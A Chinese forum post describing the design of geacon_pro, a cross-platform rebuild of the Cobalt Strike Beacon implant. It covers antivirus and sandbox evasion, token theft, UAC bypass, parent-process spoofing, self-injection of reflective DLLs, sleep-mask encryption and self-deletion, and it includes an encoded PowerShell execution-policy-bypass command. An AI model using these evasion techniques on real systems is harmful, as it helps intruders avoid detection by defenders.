首页
社区
课程
招聘
[原创]跨平台重构Cobaltstrike Beacon,行为对国内主流杀软免杀
发表于: 2022-10-29 15:53 23246

[原创]跨平台重构Cobaltstrike Beacon,行为对国内主流杀软免杀

2022-10-29 15:53
23246

项目链接为geacon_pro

本项目基于geacon项目对cobaltstrike的beacon进行了重构,并适配了大部分Beacon的功能,支持4.1+版本。致力于做成不局限于cs功能的跨平台后渗透免杀工具。

该项目仅用于对CobaltStrike协议的学习测试以及合法的渗透测试。请勿使用于任何非法用途,由此产生的后果自行承担。

本项目与好兄弟Z3ratu1共同开发,他实现了一版支持4.0版本的geacon_plus,我这边实现了一版支持4.1及以上版本的beacon,大致功能类似,有部分功能不同。具体的使用方法请移步链接,这里主要说一下实现的思路。如果有师傅对cs协议感兴趣可以看鸡哥相关的文章。

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、run、execute、drives、powershell-import、powershell命令混淆、免杀bypassuac(uac-token-duplication)、免杀系统服务提权(svc-exe)、execute-assembly(不落地执行c#)、多种线程注入的方法(可自己更换源码)、spawn、inject、shinject、dllinject(反射型dll注入)、管道的传输、多种cs原生反射型dll注入(mimikatz、portscan、screenshot、keylogger等)、令牌的窃取与还原、令牌的制作、权限的获取、runu父进程欺骗、代理发包、自删除、timestomp更改文件时间等功能。支持cna自定义插件的reflectiveDll、execute-assembly、powershell、powerpick、upload and execute等功能

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、自删除、timestomp
后续会添加linux与mac平台下后渗透功能

进程管理部分、文件管理部分支持图形化交互

适配了C2profile流量侧的设置与部分主机侧的设置,支持的算法有base64、base64url、mask、netbios、netbiosu。

传统cs的免杀偏向于如何加载上线,但是杀软对beacon的特征查得非常严,尤其是卡巴这种查内存的,因此不如自己重构一个。

免杀主要体现在三个方面:

我们主要通过鸡哥的数篇文章以及f58K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6i4b7V1N6D9d9h3I4Q4x3V1k6d9k6f1u0W2j5h3y4G2L8W2)9#2k6W2y4J5j5#2!0q4y4W2)9&6c8q4!0m8y4g2!0q4y4g2)9^5y4g2!0m8y4g2!0q4z5g2)9&6y4#2!0m8z5r3y4K6i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1&6i4K6R3H3i4K6W2m8i4@1f1@1i4@1u0r3i4@1p5I4i4@1f1#2i4K6S2p5i4K6S2r3i4@1f1^5i4@1q4q4i4@1q4q4i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1#2i4K6S2r3i4K6S2m8j5%4y4Q4c8e0g2Q4z5p5g2Q4z5f1k6Q4c8e0N6Q4z5e0c8Q4z5f1k6Q4c8e0N6Q4z5f1q4Q4z5o6c8T1k6h3q4U0L8$3&6Q4c8e0g2Q4b7f1g2Q4z5f1g2Q4c8e0N6Q4z5p5g2Q4b7U0m8Q4c8e0y4Q4z5o6m8Q4z5o6t1`.

之后我们根据实战的需求来调试并实现beacon的各种功能。同时在实现的时候还需要考虑稳定性以及体积的大小。

由于我们想实现的是跨平台beacon,因此部分功能需要分平台实现,但是不同平台间同一个功能部分的实现又是相同的。我们抽出了一个service层来实现不同平台间功能重复的部分,进而减少代码的冗余。

虽然是重构beacon,但是很多地方原封不动照搬cs的原生实现并不是很好,而且实现的语言也不一样。因此我们对部分功能进行了实现的调整,同时将cs不免杀的功能进行了替换,并针对特定功能集成了免杀的项目。

考虑到开源后exe被查杀的情况,也可以使用8d8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6i4b7V1N6D9d9h3I4Q4x3V1k6Y4L8#2)9J5k6q4u0W2k6X3I4W2j5%4c8A6N6X3g2p5e0p5I4Q4c8e0g2Q4b7U0m8Q4z5o6k6Y4k6h3q4U0L8$3&6Q4y4h3k6H3M7X3!0Q4c8e0S2Q4b7V1c8Q4b7f1y4Q4c8e0k6Q4z5p5c8Q4b7e0u0Q4c8e0k6Q4z5o6S2Q4z5e0m8Q4c8e0g2Q4z5p5k6Q4z5p5c8Q4c8e0g2Q4b7U0m8Q4z5o6c8Q4c8e0g2Q4z5f1g2Q4z5p5u0V1L8r3I4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0g2Q4b7V1c8Q4b7e0u0Q4c8e0g2Q4b7V1y4Q4z5p5k6Q4c8e0k6Q4z5f1c8Q4b7e0g2Q4c8e0N6Q4z5o6q4Q4b7U0g2Q4c8e0k6Q4b7U0c8Q4b7V1u0Q4c8e0g2Q4z5p5q4Q4b7e0m8Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0c8Q4b7U0W2Q4z5f1k6Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0c8Q4b7V1u0Q4b7e0g2Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0g2Q4z5o6g2Q4b7U0k6Q4c8e0c8Q4b7V1u0Q4z5e0k6Q4c8e0W2Q4b7e0q4Q4b7U0W2Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0S2Q4b7V1c8Q4b7f1y4Q4c8e0k6Q4z5o6S2Q4z5e0m8K6K9r3g2D9L8r3y4G2k6r3g2Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0g2Q4b7V1c8Q4b7e0u0Q4c8e0g2Q4b7V1y4Q4z5p5k6Q4c8e0y4Q4z5o6m8Q4z5o6t1`.

我们用main.go作为主函数,在beacon第一次与服务端通信之前执行隐藏窗口、反沙箱等操作。如果成功建立了连接则每隔一段时间向服务端发送请求,查看是否有需要下发的命令及数据,如果有的话则根据下发的命令号进行不同的处理。

sysinfo包中实现了获取不同平台下目标主机的基本信息的功能,以及拼装了beacon与服务器建立通信所需的meta数据。

services.go实现了对不同命令的跨平台处理。

packet包中的commands_windows.go、commands_linux.go、commands_darwin.go处理具体不同平台的底层实现。windows平台下部分复杂的功能被拆分成execute_assembly.go、jobs.go、token.go等来单独实现。总的来说packet包实现了对命令的具体的处理操作以及通信等功能。

config.go是geacon_pro的配置文件,类似于C2profile,geacon_pro在适配了大部分C2profile流量端与部分主机端配置的同时,还加入了代理发包、自删除、反沙箱等cs没有的设置。

命令的执行对应cs中的shell、run、execute三个命令,区别在于shell调用cmd,run调用执行的程序本身,而execute无回显。

geacon基于go的os/exec实现了跨平台的shell,但是我们在开发的时候发现golang的底层库并不是很稳定,在windows平台下执行部分命令的时候会突然崩溃。同时考虑到os/exec库的cmd不支持Token的使用,无法实现令牌的窃取,因此我们将命令执行的实现更改为了windows api CreateProcess。首先会判断当前是否有窃取/制作的Token,若有的话则用CreateProcessWithTokenW以Token权限来执行,没有的话则用CreateProcess执行。

shell和run在执行之后会用管道将结果回传给geacon_pro,而execute不会。

Linux和Mac平台下目前用/bin/bash来执行shell。

shell powershell是从cmd调用powershell,而powershell命令本身是以-nop -exec bypass -EncodedCommand参数来执行编码后的命令,如whoami

powershell -nop -exec bypass -EncodedCommand dwBoAG8AYQBtAGkA

geacon_pro目前对powershell命令集成了混淆(829K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6t1y4r3c8W2y4g2)9J5k6o6N6Q4x3V1k6H3L8%4N6W2M7Y4y4Z5k6h3I4D9i4K6u0V1L8$3u0X3N6i4y4U0j5i4c8A6L8$3&6Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7V1c8Q4z5o6k6Q4c8e0N6Q4z5e0c8Q4b7U0q4Q4c8e0c8Q4b7V1q4Q4z5p5f1K6y4U0m8Q4c8e0g2Q4b7f1k6Q4b7U0W2H3L8%4N6W2M7Y4y4Z5k6h3I4D9i4@1f1#2i4K6V1I4i4@1u0p5i4@1f1@1i4@1u0n7i4@1p5@1i4@1f1$3i4K6R3&6i4@1p5%4i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1%4i4K6W2n7i4K6V1I4i4@1f1$3i4K6S2q4i4@1p5%4i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1^5i4@1u0r3i4K6R3%4i4@1f1@1i4@1u0m8i4K6S2q4i4@1f1@1i4@1t1^5i4@1p5#2i4@1f1$3i4@1p5H3i4@1u0o6i4@1g2r3i4@1u0o6i4K6S2o6M7r3!0%4k6i4u0K6K9r3g2D9L8q4!0q4y4g2)9&6x3g2!0n7c8q4!0q4y4q4!0n7b7W2!0m8y4q4!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4W2)9&6b7g2)9^5x3W2!0q4y4W2)9&6y4#2!0n7y4W2!0q4z5q4!0n7c8W2)9^5y4#2!0q4y4q4!0n7z5q4)9^5c8q4!0q4y4q4!0n7b7g2)9^5y4U0x3$3x3q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4q4!0n7c8q4)9^5y4W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4g2!0n7x3q4)9^5y4W2!0q4y4W2!0n7y4#2!0n7y4#2!0q4y4W2!0n7y4#2)9^5y4W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4z5q4)9&6x3q4!0n7c8q4!0q4y4g2)9&6b7#2!0n7x3q4!0q4y4#2)9&6b7g2)9^5y4s2m8K6x3g2!0q4y4W2)9&6y4W2)9^5y4#2!0q4y4q4!0n7b7W2!0n7y4W2!0q4y4#2)9&6y4q4!0m8z5s2m8G2N6$3g2J5M7$3S2W2L8r3H3`. -ExecutionPolicy Bypass -File执行可过360。师傅们可以用shell powershell执行未混淆的powershell。

cs的powerpick命令可以在内存中不通过powershell.exe执行powershell来绕过监控,不过在实现的时候发现powerpick可以执行成功但是部分情况拿不到回显(不知道是啥原因),师傅们可以考虑使用execute-assembly执行d72K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6t1y4r3c8W2y4g2)9J5k6o6N6Q4x3V1k6H3L8%4N6W2M7Y4y4Z5k6h3I4D9i4K6u0V1j5Y4W2H3j5i4y4K6i4@1f1$3i4K6W2p5i4@1p5#2i4@1f1@1i4@1u0n7i4@1p5K6i4@1f1$3i4K6W2n7i4@1u0r3M7r3!0%4k6i4u0H3K9h3y4C8i4@1f1K6i4K6R3H3i4K6R3J5

beacon中有一个导入powershell模块的功能,将powershell后渗透利用框架导入到内存中方便后续的利用。我们的实现思路大致与Beacon类似,在目标主机上开一个端口放上module的内容,在下次要执行powershell命令的时候download下载该端口的module内容并用iex进行不落地的执行。尽管是不落地的执行,但最好还是把powershell模块混淆下。

execute-assembly是在内存中执行C#程序,用不落地执行来绕过杀软的查杀,在实战中很常用。

execute-assembly在cs原生beacon中的实现如下:

服务端下发的主体内容为patch过的用于开环境的反射型dll、.NET程序、执行的参数

1、用CreateProcess拉起来一个rundll32.exe(默认)进程

2、服务端下发patch之后的反射型dll,beacon将该反射型dll注入到1中的进程中并执行,该dll的作用是开.NET的环境。

3、beacon之后把.NET程序注到1的进程中并执行。

考虑到过于麻烦、某些杀软会查杀远程线程注入的操作、卡巴会内存查杀反射型dll、容易拿不到执行的回显,我们没采用beacon的实现,而是用b20K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1K9h3#2%4K9r3W2@1k6i4A6Q4x3V1k6p5L8$3N6W2i4K6u0V1b7@1I4d9e0r3!0S2k6q4!0q4y4g2!0m8c8g2)9&6c8g2!0q4y4#2)9^5c8g2!0n7x3q4!0q4y4q4!0n7b7g2)9^5y4X3N6G2i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6S2q4i4K6W2r3i4@1f1%4i4K6V1@1i4K6W2r3k6i4S2W2j5%4g2@1k6g2)9J5k6r3q4K6M7$3g2E0j5X3I4&6i4@1f1K6i4K6R3H3i4K6R3J5

反射型dll注入是很流行的一个后渗透手段,通过找到ReflectiveLoader函数的位置并执行dll达成不落地执行,师傅们有兴趣的话可以去看看这个项目 ,是反射型dll注入技术的起源项目。

基于该项目写的反射型dll是没有被patch的,需要手动找ReflectiveLoader函数的位置,而cs原生的dll是被patch过的,可以直接当成shellcode来执行。

解包cobaltstrike.jar包后可发现在sleeve目录下有很多dll文件,并根据目标是x64或者x86来注入对应的反射型dll。

图片描述

这些dll文件是加密了的,网上有解密的脚本。

cs为了追求稳定性,很多操作都是采用的fork&&run,即先用CreateProcess新建一个进程(默认是rundll32.exe),之后把shellcode/patch过后的反射型dll注入到该进程中。
以screenshot.dll为例,里面包含了屏幕截图与管道回传结果的代码。服务端对其解密后下发到beacon,beacon用线程注入将其注入到拉起的进程中来执行。然后服务端下发一条命令让beacon通过管道读取执行的结果,之后将读取到的结果回传给服务端。

不过很多杀软对fork&&run这种远程注入到其他进程的行为进行了监控,以360核晶为例会报远程线程注入的可疑行为。

为了规避这个被监控的点,我们尝试用注入自己的方式来执行shellcode/patch之后的反射型dll,然后通过管道来异步读取结果,发现稳定性也还不错。

我们发现所有原生反射型dll都有一个特点,就是会在最后调用ExitProcess来终止fork出来的进程。

图片描述

如果注入自己的话肯定不能用ExitProcess关掉geacon_pro进程,因此我们做了一个简单的patch,将服务端下发的反射型dll中的ExitProcess更换为ExitThread\x00仅让其退出当前的线程。

进程注入有shinject、dllinject两种。

区别在shinject注入shellcode到其他的进程中,而dllinject注入反射型dll到其他的进程中。

在实现的时候我们发现这两种命令的下发格式是一样的,因此我们对下发的内容进行判断,如果存在有reflectiveloader字样就认为是dllinject注入,反之是shinject注入。但由于目前dllinject其他的进程并不是很稳定,暂时只支持注入到自身。

与上文所说的原生反射型dll不同,cs并不会patch用户上传的反射型dll,只会在服务端计算下ReflectiveLoader偏移的位置并下发beacon端帮助注入。但我们这里原本的实现是在beacon端手动找了ReflectiveLoader的位置,后面懒得改了,就没有使用cs下发的偏移。找到ReflectiveLoader的位置之后注入,同时还有考虑有参数的情况,这里用CreateThread将参数传入:

这里要感谢timwhitez师傅及93cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1K9h3#2%4K9r3W2@1k6i4A6Q4x3V1k6p5L8$3N6W2i4K6u0V1f1V1I4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0g2Q4b7U0S2Q4b7f1g2Q4c8e0g2Q4z5p5q4Q4b7e0V1`.

Token部分实现了令牌的窃取、令牌的制作、令牌的还原、权限的获取以及父进程欺骗。

main.go中会保存一个uintptr类型的Token,如果是默认令牌的话是0,如果成功窃取了令牌则将Token赋为该令牌。窃取之后会用windows api ImpersonateLoggedOnUser模拟上下文的令牌权限,不过由于上下文的权限不会影响其他的进程,因此shell、run、execute等需要创建其他进程的功能需要用CreateProcessWithTokenW。

父进程欺骗runu通过指定进程的pid,让执行的子进程的ppid为该pid,方便伪装进程。

图片描述

如这里把main.exe伪装成winlogon.exe的子进程。

bypassuac:geacon_pro集成了免杀bypassuac,即elevate中的uac-token-duplication。

administrator->system:geacon_pro集成了免杀系统服务svc-exe提权0c2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6t1y4r3c8W2y4g2)9J5k6o6N6Q4x3V1k6W2L8r3g2$3j5i4c8W2i4K6u0V1j5Y4W2H3j5i4y4K6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1#2i4K6S2p5i4@1t1K6k6h3I4W2N6X3q4@1k6g2!0q4y4q4!0n7z5q4!0m8c8q4!0q4y4#2)9&6b7g2)9^5y4s2y4$3j5#2)9J5k6r3g2^5k6g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4g2)9&6x3q4)9^5b7#2!0q4y4W2)9&6y4#2!0n7y4W2!0q4y4q4!0n7z5g2)9&6c8W2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4q4!0n7c8q4!0n7c8W2!0q4y4#2)9&6y4q4!0m8z5s2y4@1k6h3q4D9i4K6g2X3N6r3!0C8k6h3&6Q4c8e0g2Q4z5e0u0Q4z5p5y4J5N6h3&6#2i4@1f1$3i4K6W2p5i4@1p5#2i4@1f1$3i4K6S2r3i4K6V1H3i4@1f1$3i4K6W2p5i4K6R3K6i4@1f1K6i4K6R3H3i4K6R3J5

考虑到渗透中常常存在着内网主机上线的情况,即边缘主机出网,内网主机不出网的情况。

由于cs自带的socks4代理已经过时了,如果要修改成socks5的话还得改服务端,并且实现稳定的代理会增大不少的体积,因此我们在这里并没有实现内置的代理,推荐师傅们手传frp等稳定的代理。

尽管不支持开代理的功能,但是geacon_pro提供了代理发包的功能。可以通过设置config.go中的proxy参数,通过边缘主机的代理进行木马的上线。即如果已经在边缘主机192.168.140.130的8080端口开了个http代理,那么在config.go中设置ProxyOn为true,Proxy为http://192.168.140.130:8080即可令内网的geacon_pro上线服务器。

beacon的实现中有堆内存加密(sleep_mask)这个功能,即在sleep之前将内存中数据加密,sleep之后再解开,可以避免杀软对内存的扫描。

堆内存加密的方法实现参考了89fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3x3e0V1@1z5e0f1#2y4g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4g2)9^5c8q4!0n7x3#2!0q4y4g2)9&6b7#2!0m8z5s2y4D9k6h3g2H3i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4K6R3&6i4K6S2p5i4@1f1#2i4K6R3#2i4K6R3^5i4@1f1#2i4@1t1H3i4K6R3$3i4@1f1&6i4K6V1&6i4@1p5@1i4@1f1@1i4@1t1^5i4@1u0n7i4@1f1%4i4@1u0m8i4@1u0r3i4@1f1%4i4@1p5^5i4K6S2n7i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4@1p5@1i4K6V1$3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1%4i4@1u0m8i4@1u0r3i4@1f1%4i4@1p5^5i4K6S2n7i4@1f1$3i4K6S2o6i4K6R3J5i4@1f1^5i4@1t1#2i4@1t1%4i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4K6V1H3i4K6S2q4i4@1f1&6i4K6R3I4i4K6S2p5i4@1f1#2i4K6S2q4i4K6R3$3i4@1f1#2i4@1p5H3i4K6R3$3i4@1f1#2i4@1q4r3i4@1t1&6i4@1f1#2i4@1p5H3i4K6R3$3i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1#2i4@1q4p5i4K6V1^5i4@1f1^5i4@1u0r3i4K6W2n7i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1#2i4K6S2m8i4@1p5H3i4@1f1#2i4@1q4r3i4K6R3$3i4@1f1K6i4K6R3H3i4K6R3J5M7$3I4W2k6i4m8Q4c8e0N6Q4b7V1u0Q4z5e0y4Q4c8e0k6Q4z5f1c8Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5g2Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0g2Q4b7f1k6Q4z5o6k6Q4c8e0g2Q4b7U0W2Q4b7U0k6Q4c8e0g2Q4b7U0m8Q4z5o6k6Q4c8e0N6Q4b7V1q4Q4b7V1k6Q4c8e0N6Q4b7e0S2Q4z5p5u0Q4c8e0k6Q4z5o6q4Q4b7e0u0Q4c8e0g2Q4b7e0c8Q4z5p5c8Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0S2Q4b7V1k6Q4z5o6N6Q4c8e0S2Q4b7f1k6Q4b7e0g2Q4c8e0g2Q4z5p5q4Q4z5f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0S2Q4b7V1g2Q4z5o6y4Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0N6Q4b7e0S2Q4b7U0y4Q4c8e0g2Q4b7f1g2Q4z5f1q4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5f1y4Q4z5o6W2Q4c8e0k6Q4z5e0N6Q4b7U0k6Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0S2Q4b7V1k6Q4z5f1u0Q4c8e0S2Q4b7e0q4Q4z5p5y4Q4c8e0g2Q4b7e0m8Q4z5o6k6Q4c8e0W2Q4z5o6q4Q4z5p5c8Q4c8e0g2Q4z5p5g2Q4z5o6k6Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0k6Q4z5e0N6Q4b7U0k6Q4c8e0g2Q4z5o6m8Q4z5e0W2Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0N6Q4b7f1q4Q4z5o6q4Q4c8e0N6Q4z5o6c8Q4b7U0k6Q4c8e0g2Q4z5p5c8Q4b7e0q4Q4c8e0c8Q4b7V1c8Q4z5p5k6Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0N6Q4z5f1u0Q4b7U0c8Q4c8e0k6Q4z5p5g2Q4b7e0g2Q4c8e0W2Q4z5o6m8Q4z5o6m8Q4c8e0g2Q4z5o6N6Q4b7V1q4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4b7U0W2Q4b7U0k6Q4c8e0c8Q4b7U0S2Q4z5e0c8Q4c8e0S2Q4z5o6m8Q4z5o6y4Q4c8e0S2Q4z5e0W2Q4z5e0q4Q4c8e0g2Q4z5o6S2Q4b7U0m8Q4c8e0g2Q4z5e0m8Q4z5p5g2Q4c8e0g2Q4z5p5k6Q4b7U0m8Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0k6Q4z5f1y4Q4z5o6W2C8k6i4W2D9L8$3N6Y4k6i4u0Q4c8e0k6Q4z5o6S2Q4z5e0k6H3L8%4u0@1M7$3y4S2L8W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4#2!0m8y4#2)9^5c8q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4W2)9^5b7#2)9^5x3g2!0q4y4q4!0n7z5g2)9^5y4g2!0q4y4q4!0n7b7W2!0n7b7W2!0q4y4g2)9^5b7g2!0m8x3g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2!0n7x3q4)9^5y4W2!0q4y4#2!0n7b7g2!0n7c8W2!0q4y4#2!0m8z5q4)9^5b7W2!0q4y4g2)9^5y4g2!0m8z5q4!0q4z5g2)9^5x3#2!0m8z5q4!0q4y4W2)9^5b7#2)9^5x3W2!0q4z5q4!0n7y4g2!0n7y4#2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4q4!0n7b7g2)9&6b7W2!0q4y4q4!0n7z5q4)9^5c8q4!0q4y4g2)9&6x3q4)9^5z5q4!0q4z5g2)9^5x3q4)9^5x3W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2!0m8y4W2)9^5x3W2!0q4y4W2)9&6c8g2)9&6b7#2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4g2!0n7z5q4)9^5z5q4!0q4y4g2)9^5x3W2)9^5y4g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4g2!0m8y4g2!0n7c8q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4W2)9^5x3#2!0n7x3#2!0q4y4W2!0n7x3#2)9&6y4g2!0q4y4W2!0m8b7#2!0m8x3W2!0q4z5q4!0n7c8W2)9^5c8g2!0q4y4W2)9&6c8q4!0m8y4g2!0q4z5q4!0m8c8g2!0m8z5q4!0q4z5q4!0m8c8g2!0n7b7g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4g2)9&6x3q4)9^5b7#2!0q4y4W2)9&6y4#2!0n7y4W2!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4q4!0n7z5q4)9^5c8q4!0q4y4g2!0m8y4q4!0m8b7g2!0q4y4#2)9&6x3q4)9^5y4W2!0q4z5q4!0m8y4#2!0m8x3#2!0q4y4q4!0n7z5q4!0n7b7g2!0q4y4q4!0n7b7W2)9^5x3q4!0q4y4q4!0n7z5g2)9^5z5r3N6G2i4@1f1%4i4K6W2m8i4K6R3@1N6r3W2E0k6g2)9J5k6g2y4D9k6h3g2H3i4@1f1#2i4K6R3%4i4@1u0p5i4@1f1$3i4K6V1#2i4@1t1H3i4@1f1#2i4K6W2o6i4@1p5^5i4@1f1#2i4K6R3#2i4@1t1$3i4@1f1@1i4@1u0n7i4K6V1$3i4@1f1%4i4@1u0m8i4@1u0r3i4@1f1%4i4@1p5^5i4K6S2n7i4@1f1&6i4K6R3K6i4@1u0p5i4@1f1$3i4K6S2o6i4K6R3J5i4@1f1^5i4@1t1#2i4@1t1%4i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4K6V1H3i4K6S2q4i4@1f1^5i4@1t1H3i4K6R3K6i4@1f1%4i4K6V1@1i4@1p5^5i4@1f1@1i4@1u0o6i4K6W2m8i4@1f1@1i4@1t1^5i4K6R3H3i4@1f1%4i4K6W2n7i4@1t1@1i4@1f1$3i4@1t1J5i4K6R3&6i4@1f1%4i4K6W2p5i4@1p5I4i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1^5i4K6R3H3i4K6S2o6i4@1f1^5i4@1t1H3i4K6R3K6i4@1f1%4i4K6V1@1i4@1p5^5N6$3W2F1k6r3!0%4M7#2)9J5k6g2y4D9k6h3g2H3c8i4S2Q4c8e0g2Q4b7U0m8Q4b7U0q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0k6Q4z5f1y4Q4z5o6W2Q4c8e0W2Q4z5e0N6Q4b7f1g2Q4c8e0W2Q4b7e0u0Q4z5e0S2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0S2Q4b7V1k6Q4z5e0S2Q4c8e0k6Q4z5f1y4Q4z5f1u0Q4c8e0g2Q4b7U0S2Q4z5o6S2Q4c8e0g2Q4z5o6u0Q4z5o6g2Q4c8e0c8Q4b7V1u0Q4b7f1y4Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0N6Q4b7f1c8Q4z5e0c8Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0k6Q4z5o6S2Q4z5e0q4Q4c8e0c8Q4b7U0S2Q4b7f1q4Q4c8e0c8Q4b7V1q4Q4b7V1q4Q4c8e0k6Q4z5o6c8Q4z5f1k6Q4c8e0S2Q4b7e0N6Q4z5o6W2Y4L8#2!0q4z5g2)9^5x3#2!0m8z5q4!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4g2)9^5c8g2)9&6c8W2!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4g2!0n7b7g2)9&6x3#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0m8c8g2)9&6c8g2!0q4y4#2)9^5c8g2!0n7x3q4!0q4y4q4!0n7b7W2)9^5c8q4!0q4y4g2!0m8c8q4)9&6z5q4!0q4y4g2)9&6b7#2!0m8z5q4!0q4z5g2)9^5x3#2!0m8z5q4!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4#2)9&6b7g2)9^5y4r3u0#2k6#2!0q4x3#2)9^5x3q4)9^5x3R3`.`.

cs在服务端与beacon通信的时候协商了字符集类型,如windows默认的是GBK,linux则是UTF-8。但是用go重构会有一个比较麻烦的问题,go对字符串的处理默认是UTF-8,但有时windows通信时服务端下发的命令中包含中文,由于是GBK无法进行正常的处理。因此我们做了一个统一,各平台默认的协商字符集均为UTF-8,这样避免了冗杂的处理环节,仅在回传的时候对执行的结果进行了判断,如果是GBK就先转换成UTF-8再回传:

这里我们对callbackType进行了限制,因为有部分命令如ps、ls会对结果进行padding,这样可能会让utf8.Valid()把UTF-8的结果认为是GBK而进行错误的字符集转换。

cs没有做自删除的功能,我们添加了不同平台下的自删除功能。

windows平台下由于进程未退出的时候是无法自己删除自己的,常用的方法有bat与远程线程注入。

远程线程注入的缺点前面也提到了容易被杀软监控,因此我们这里简化了一下bat自删除,用CreateProcess新起了一个进程,在原进程执行完之后删除它:

cs没有做反沙箱的处理,我们添加了密钥反沙箱与时间反沙箱,后续会添加更多的反沙箱的功能。具体的内容可以在config.go中设置。

ExecuteKey可以进行简单的反沙箱,若密钥值为password,设置后执行的时候需要geacon_pro.exe password才可执行成功,沙箱或蓝队成员由于不知道密钥,因此无法执行。

ExecuteTime可以进行简单的反沙箱,若当前时间晚于设置的时间则执行失败,师傅们注意该设置是UTC时区。

config.go中的Remark可以在上线的时候备注机子,方便区分不同应用场景。即如果Remark="test",上线机子的名称会被设置成为 ComputerName [test]。

由于部分功能执行时间比较长,我们针对部分功能实现了异步处理,如命令执行、jobs、下载等功能。

